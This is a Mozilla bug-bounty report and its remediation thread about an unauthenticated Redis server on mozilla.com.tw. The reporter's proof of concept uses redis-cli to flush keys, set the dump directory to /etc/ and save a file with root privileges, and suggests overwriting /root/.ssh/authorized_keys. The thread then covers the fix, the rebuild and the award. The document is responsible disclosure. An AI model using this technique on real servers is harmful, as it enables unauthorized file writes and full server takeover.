Closed Bug 1282388 Opened 10 years ago Closed 10 years ago

Write access in mozilla.com.tw with root privileges

Categories

(Websites :: Other, defect)

defect
Not set
critical

Tracking

(Not tracked)

RESOLVED FIXED

People

(Reporter: infosecurity, Assigned: nli)

References

()

Details

(Keywords: reporter-external, sec-high, wsec-servermisconfig, Whiteboard: [reporter-external] [web-bounty-form] [verif?])

Attachments

(1 file)

Vulnerability: Insufficient authorization in Redis db service Severity: Critical Description: The vulnerability allows to connect remotely without authorization, change the working directory of the program and the name of the dump file. This allows evil users to write RDB Redis files at random paths. The vulnerability is possible due to insecure Redis configuration (lack of authorization). Attack scenario: An unauthenticated, remote attacker can write/rewrite arbitrary files in server's filesystem with root privileges. PoC (how to reproduce steps): ###here it is a file "foo2.txt" I have written to /etc/ as a test # redis-cli -h mozilla.com.tw flushall (remove current keys and write data from file) OK # cat foo2.txt | redis-cli -h mozilla.com.tw -x set crackit OK # redis-cli -h mozilla.com.tw ###Set an arbitrary working directory mozilla.com.tw:6379> config set dir /etc/ OK mozilla.com.tw:6379> config get dir 1) "dir" 2) "/etc" ###set data base name mozilla.com.tw:6379> config set dbfilename "bug_bounty.txt" OK mozilla.com.tw:6379> save OK Security impact: Writing access to the victim server with root privileges. Possible full control of the victim server by replacing original authorized_keys (can be set as data base name) file in /root/.ssh/ directory (can be set as working directory). Remediation: updating Redis to the version which allows to set up an authentication mechanism, set a restricted access to Redis. NB: By the time I started a testing process, current working directory had already been set to /root/.ssh/
Flags: sec-bounty?
Attached image 1.png —
So, evidence should be found on mozilla.com.tw here /etc/bug_bounty.txt
Severity: normal → critical
Thanks for reporting Aleh.
Keywords: sec-high
Jshen/NLI, There is an error in the configuration file, the following line is commented out and it shouldn't be. bind 127.0.0.1 Please needinfo me if you can report that the issue is resolved or if you need further assistance. I'm currently in GMT+2 timezone, will keep an eye out for your reply
Status: UNCONFIRMED → NEW
Ever confirmed: true
Flags: needinfo?(nli)
Flags: needinfo?(jshen)
The correct remediation for this system is to decommission and rebuild, we have to assume that someone else has found and exploited this system already. Please preserve a copy of the disk image https://www.linode.com/docs/migrate-to-linode/disk-images/copying-a-disk-image-over-ssh and we will coordinate a way for you to get us the image. Shutdown the site, replace it with a fresh build with correctly configured redis Please examine the system for trust relationships or credentials to any other systems, for example SSH keys, login/passwords, etc. If any are found, please let me know so we can rotate them.
Flags: needinfo?(jshen)
Flags: needinfo?(nli)
Uncommented bind 127.0.0.1 and restarted redis server. Keep working on the image and rebuild server.
Flags: needinfo?(amuntner)
Thanks nli! Were you able to get a disk image? Since you made the change I'd like to have it preserved sooner than later in case the server was compromised already and the attacker notices, even though my suspicion is that if someone else broke in they'd close the redis hole behind them. Are there any other .tw servers that might have redis similarly configured?
Flags: needinfo?(amuntner)
Hello, guys! How is it going? If you need any help from my side - feel free to contact me! Looking forward to being rewarded as well)
Thanks Aleh. Redis should no longer be accessible, we're getting ready to replace the server with a freshly built one. We are a little backed up on bounty bugs but getting caught up. This was a great find, thanks again, you should hear back from us within a week or two.
Thanks!
Assigning bug based on comments. Is this bug "fixed" now, or are you waiting until the server is replaced fully for that?
Assignee: nobody → nli
Flags: needinfo?(amuntner)
Have the image created and stored at other server, which credential sent over IRC to Adam. Sorry for late but please be aware that it's a running server with 50k daily users that can't be simply taken offline. Also for your information, it's the only server what we host that running redis service and an isolated server that doesn't connect to any infra network. Keep working on replacing a fresh build server. Shall there have any question, please let me know. Thank you very much.
Thanks NLI, I am re-assigning a risk of high since the server is used by many people but not critical to the operation of Mozilla, downtime would be inconvenience to many but not a show-stopper for Mozilla.
Flags: needinfo?(amuntner)
Keywords: sec-critical → sec-high
Flags: sec-bounty? → sec-bounty+
Hello, guys! Great to hear that Flags: sec-bounty? → sec-bounty+ Thank you for your time. What steps should I take further to get paid ?
Got an email from billing. Thanks!
Hello, guys! Could I disclose the following information? "Today we awarded you a $3000.00 USD Mozilla Security Bug Bounty for your help on Bug 1282388 - write access in mozilla server with root privileges"
Aleh, please wait until the bug is marked RESOLVED-FIXED, it's currently still open.
NLI, can you let us know the status of the mozilla.com.tw server image replacement? Thank you, Adam
Flags: needinfo?(nli)
Sure.
Friendly ping for status?
Flags: needinfo?(jshen)
Status: NEW → ASSIGNED
Flags: needinfo?(jshen)
Flags: needinfo?(nli)
Hi all, We are under the process to sunset www.mozilla.com.tw by the end of October. What we have done is patching the redis vulnerability right after the bug filed. To be cautious, we took down the service - redis later. Then created the server image and sent it over IRC to Adam(:adamm) as requested on bug. So far we have rebuilt the server and were replicating all the services on old server, which basically has been migrated and under test, to the new one. What we are going to do is to resign the SSL certificate and redirect the DNS resolve to new host once we pick up everything there. Hopefully we can complete migrating to the new instance and shut the old one down by the end of this following week, which due to the Mid-Autumn festival holiday leaves 3 days for us; that is it might last to the Tuesday after next. FYR. This host is completely isolated from Mozilla infra network and none of any account relates to corp account; yet for sake of security, the admin password on server has been changed the second got patched just in case. Sorry about the issue, we will try to make it fix as soon as possible. Thank you very much.
Thanks for the update [:nli]. Can I ask for a couple things? 1) A link to the server image? ([:adamm] is on PTO) 2) Can we do a review of the server and it's config before the migration?
(In reply to Jeff Bryner [:jeff] (use NEEDINFO) from comment #22) > Thanks for the update [:nli]. > > Can I ask for a couple things? > > 1) A link to the server image? ([:adamm] is on PTO) > 2) Can we do a review of the server and it's config before the migration? I should clarify; a private link ;-] (i.e. not in this bug)
(In reply to Jeff Bryner [:jeff] (use NEEDINFO) from comment #22) > Thanks for the update [:nli]. > > Can I ask for a couple things? > > 1) A link to the server image? ([:adamm] is on PTO) Sent credential/location over IRC to you. > 2) Can we do a review of the server and it's config before the migration? Sure. The credential granted as sudoer. Thanks.
Hello Jeff, The server basically has finished data and services migration. I'm going to re-keying SSL certificate and modified the DNS records, including A and DKIM TXT later. Thus, I would like to know 1. how's the process of server review and it's configs? 2. May I delete the old server image? Thanks!
Flags: needinfo?(jbryner)
Thanks for the update. Is it ok with you to have Jonathan Claudius take a look at the new server?
Flags: needinfo?(jbryner)
Sure. The same credential I sent you over IRC the other day unless you like me to create another account for Jonathan. :) Thank you.
Flags: needinfo?(jclaudius)
:nli can you please send me the credentials directly? (IRC/Email)
Flags: needinfo?(jclaudius)
Email sent.
observations sent back to Li via email.
Just checking to see status on this bug, so I can report out on closed Web Bug Bounty items. Is work still underway? Actions to resolve?
Flags: needinfo?(nli)
Flags: needinfo?(jclaudius)
We're good here. Feedback provided to nli and implemented via email conversation.
Status: ASSIGNED → RESOLVED
Closed: 10 years ago
Flags: needinfo?(jclaudius)
Resolution: --- → FIXED
Hello, guys! Thank you for your work. I've got two questions: 1) Could I reveal this bit of information: "We decided to award you a $3000.00 USD Mozilla Security Bug Bounty for your help on Bug 1282388 - 'write access to Mozilla server with root privileges'" 2)And could you place my name into your hall of fame (as Oleg Boytsev)? https://www.mozilla.org/en-US/security/bug-bounty/hall-of-fame/ Thank you in advance!!
Yes on both counts.
Flags: needinfo?(nli)
Group: websites-security
You need to log in before you can comment on or make changes to this bug.

Attachment

General

Creator:
Created:
Updated:
Size: